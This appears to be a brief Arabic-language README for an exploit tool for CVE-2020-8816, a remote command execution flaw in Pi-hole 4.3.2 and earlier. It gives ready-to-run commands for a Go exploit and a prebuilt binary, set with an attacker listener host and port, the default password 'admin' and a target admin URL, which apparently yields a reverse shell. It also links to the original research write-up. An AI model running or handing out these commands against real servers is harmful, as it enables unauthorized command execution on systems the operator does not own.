CVE-2020-8816

CVE 2020-8816 :

Pi-hole (الإصدارات <= 4.3.2) متأثر بثغرة تنفيذ الأوامر عن بُعد. يمكن للمستخدم المصادق على بوابة الويب تنفيذ أوامر عشوائية على الخادم الأساسي بصلاحيات المستخدم المحلي الذي يقوم بتشغيل الخدمة.

مثال :

go run CVE-2020-8816.go -host $LHOST -p $LPORT -pass admin -u http://4c9a7a45fa37.ngrok.io/admin/

أو قم بتنزيل الثنائي CVE-2020-8816 :

./CVE-2020-8816 -host $LHOST -p $LPORT -pass admin -u http://4c9a7a45fa37.ngrok.io/admin/

المراجع :

• https://natedotred.wordpress.com/2020/03/28/cve-2020-8816-pi-hole-remote-code-execution/